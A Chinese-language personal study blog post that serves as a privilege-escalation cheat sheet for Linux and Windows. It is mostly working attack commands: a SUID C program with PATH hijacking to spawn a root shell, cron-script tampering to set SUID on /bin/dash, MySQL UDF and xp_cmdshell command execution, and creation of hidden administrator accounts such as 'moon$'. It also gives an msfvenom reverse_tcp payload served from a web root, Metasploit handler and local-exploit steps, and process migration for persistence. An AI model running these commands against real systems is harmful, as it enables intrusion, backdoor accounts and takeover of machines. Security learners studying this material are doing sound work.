今天看提权

笨笨了! 果然呀!我学啥都要学好几遍! 以前学的只能是印象! 再细一点学习下!

这有讲Bypass UAC的!

https://www.secpulse.com/archives/137074.html

sockets 是什么呢! 昨天看的! 忘了做笔记了! 它就是那个 ip+端口 == sockets

因为一个服务器上有多个任务和程序! 光ip肯定不行!那就需要都端口!这个sockets 就可以理解成找到指定端口的通信!

linux提权

常规提权

绕过要nc到 win 可以用perl-reverse-shell.pl 建立 sockets
在win上下载nc
3、查看发行版
cat /etc/issue
cat /etc/*release
查看内核版本
uname -a

自己查询提权https://www.exploit-db.com/

切换shell
python2 -c 'import pty; pty.spawn("/bin/bash")'
查询密文文件
cat /etc/shadow

切换shell

切换shell
python2 -c 'import pty; pty.spawn("/bin/bash")'

suid提权

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行。

ls 查询文件 注意s属性 标识这个程序有suid的属性
或者使用 以下这个命令来查询根本目录下所有带用suid属性的文件
find / -perm -u=s -type f 2>/dev/null

劫持环境变量提权!

c源代码
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
system("id");
system("cat /etc/shadow");
}
gcc  suid.c -o suid-exp
chmod 4775 suid-exp
因为system函数是继承环境变量 可以通过替换环境变量可以达到执行任意命令。
创建一个文件
echo "/bin/bash">cat && chmod 777 cat
在tmp目录下建立一个文件cat 它会执行一个shell
查看当前环境变量
echo $PATH
把当前tmp目录增加到环境变量
export PATH=.:$PATH
设置了PATH 执行cat的时候会优先从当前目录下查找程序。所以cat命令会被劫持,
就可以执行任意命令

这个怎么理解呢!

就是把当前目录里有cat文件! 把当前目录添加到环境变量里!system 会先执行当前目录的文件!所以就/bin/bash提权成功了!

GNU C library 动态链接区 $ORIGIN 溢出提权

利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限
合适用 RHEL5-RHEL6 CENTOS5-CENTOS6 均可以提权

Linux下的MySQL udf提权

udf是MySQL的一个共享库,通过udf创建能够执行系统命令的函数sys_exec、sys_eval,使得入侵者能够获得一般情况下无法获得的shell执行权限

这篇文件讲解的不错可以看看!

http://blog.itpub.net/26250550/viewspace-1663757/

紧接着,上传lib_mysqludf_sys.so到/usr/lib/mysql/plugin,然后键入如下命令:
create function sys_eval returns string soname "lib_mysqludf_sys.so" (创建函数)
创建完成之后就可以通过select sys_eval("命令")执行,如下图
执行ls命令后的结果

linux计划任务提取

有计划文件! 文件可修改!

就是通过计划任务来加载suid权限! 进而提示权限!

查看/etc/crontab 内容文件
找到 /tmp/cleanup.py 
cat /tmp/cleanup.py
#!/usr/bin/env python
import os
import sys
try:
os.system('rm -r /home/moonteam/cleanup/*')
except:
sys.exit()

查看权限 发现可以修改

ls -al
修改内容
os.system('chmod u+s /bin/dash')
把 /bin/dash设置SUID权限 运行之后就会得到 root权限
使用命令dash

dash 和sh 和bash 是不同的shell而已! 😁

win提权

window溢出提权

在iis里面 权限依次的大小对比
aspx->php=>asp
aspx默认能执行终端命令
php和asp 如果不能执行命令,在组件没有删除的情况下,可以上传cmd到可执行目录、执行命令 均可以执行终端命令。
执行命令的组件
wscript.shell √ 命令行执行组件,显示

asp提权

上传cmd.exe
再上传iis6.0.exe 提权!

当前的权限就是system用户
增加用户命令
C:\RECYCLER\iis6.0.exe "net user moonsec moonsec /add & net localgroup administrators moonsec /add"

aspx提权

aspx程序比asp的权限高,默认是可以执行cmd命令的。如果在asp不能执行命令的时候,如果服务器支持aspx 则上传aspx 程序到 网站上进行提权.

和asp一样! 不能直接拿到system权限! 就上传cmd.exe 和iis.exe 来提权

IPK提权

lpk劫持   在window2003 或 windowxp中 如果同一个目录中 存在 exe和 lpk.dll 每当exe执行的时候就会被劫持。利用这个特性 可以把lpk提权的文件放到权限较高的程序 ,当exe运行时,lpk.dl就可以进行提权。
这个有点黑科技! 
提权的时候再具体搜索!

**mof****提权**

mof提权的原理:
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡。
其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。

zend**提权**

在php里面有一个扩展是zend 这个是用解析 php zend脚本加密文件。
如果服务器安装了zend 如果ZendExtensionManager.dll 权限可以修改,那就可以用其他dl替换这dll文件。

查找ZendExtensionManager.dll

**FileZilla** 提权

FileZilla 是一个ftp服务器, 假如配置不严的,读取xml密码 可以执行一些简答的命令
默认安装目录

不想看了!没意思!

第三方主键提权

win下 udf提权

https://www.cnblogs.com/reuodut/articles/11447028.html

https://www.cnblogs.com/mrhonest/p/12954932.html

测试环境windows2008
如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录
如果mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。
拥有可以将udf.dll写入相应目录的权限
//sqlmap里的udf.dll是通过异或编码的,使用之前一定要记得解码,解码的工具也在sqlmap中
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
//将解码的.dll文件上传到任意目录
select load_file('C:/XXX/lib_mysqludf_sys.dll') into dumpfile 'C:/MySQL/MySQL Server 5.1/lib/plugin/lib_mysqludf_sys.dll';
create function sys_eval returns string soname 'lib_mysqludf_sys.dll';
//支持的函数
sys_eval - executes an arbitrary command, and returns it's output.
sys_exec - executes an arbitrary command, and returns it's exit code.
sys_get - gets the value of an environment variable.
sys_set - create an environment variable, or update the value of an existing environment variable.
//执行命令
select sys_eval('whoami');
大概意思就是上传udf.dll 到知道位置后! mysql就可以通过sys_eval执行系统命令了!

sqlserver提权

这个平常用的少 !要是遇见了! 再去收一收文章硬搞!😀

3、开启xp_cmdshell
Exec master.dbo.xp_cmdshell 'net user'

Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'

win2008

在winserver2008 r2 中 服务器默认是支持aspx的。所以默认都是可以执行一些命令。

set
systeminfo

直接cve 溢出漏洞打!

这没啥结束含量!

msf提权

win

1 生成攻击载荷
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.106 lport=12345 -f exe >/var/www/html/s.exe
2 用msfconsole 启动 metasploit
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.59.129
set lport 12345
exploit -z -j
4、常用命令
提权命令:
sysinfo 查看系统信息
migrate 注入进程
getuid 当前用户
getprivs 尽可能提升权限
getsystem 通过各种攻击向量来提升系统用户权限
增加管理员 
net user moon$ moon123 /add && net localground administrators moon$ /add
5、基础命令
ps 列出进程
background 把session放置后台
sessions 查看会话
back 返回主界面
shell得到终端
search搜索模块
show 列模块
info 查看模块信息
6使用模块进行提权
搜索模块
search ms14_058
查看模块信息
info exploit/windows/local/ms14_058_track_popup_menu
use exploit/windows/local/ms14_058_track_popup_menu
show options 查看需要设置什么参数
set SESSION 1 设置SESSION 为1
exploit -z -j 运行
7、保持权限
migrate 注入进程
ps 列出进程
migrate 2744 注入explorer 进程
shell  增加超级管理员
net user moon$ moon123 /add
net localground administrators moon$ /add

在kali里面链接远程终端
rdesktop 192.168.0.115

Linux

一个意思! 反弹个shell! 先msf上线再说! msf上线后可能是个低权限!

再通过msf或者外边的内核漏洞 提权!

msf提升

在终端下可以使用命令systeminfo 来查看系统的一些补丁信息

msf结合windows-exploit-suggester使用

suggester模块 他会自动查看补丁 有没有漏洞可以打!

background 返回 模块选择的命令 把session 放到后台
使用suggester模块
use post/multi/recon/local_exploit_suggester
show options
set seesion 1
exploit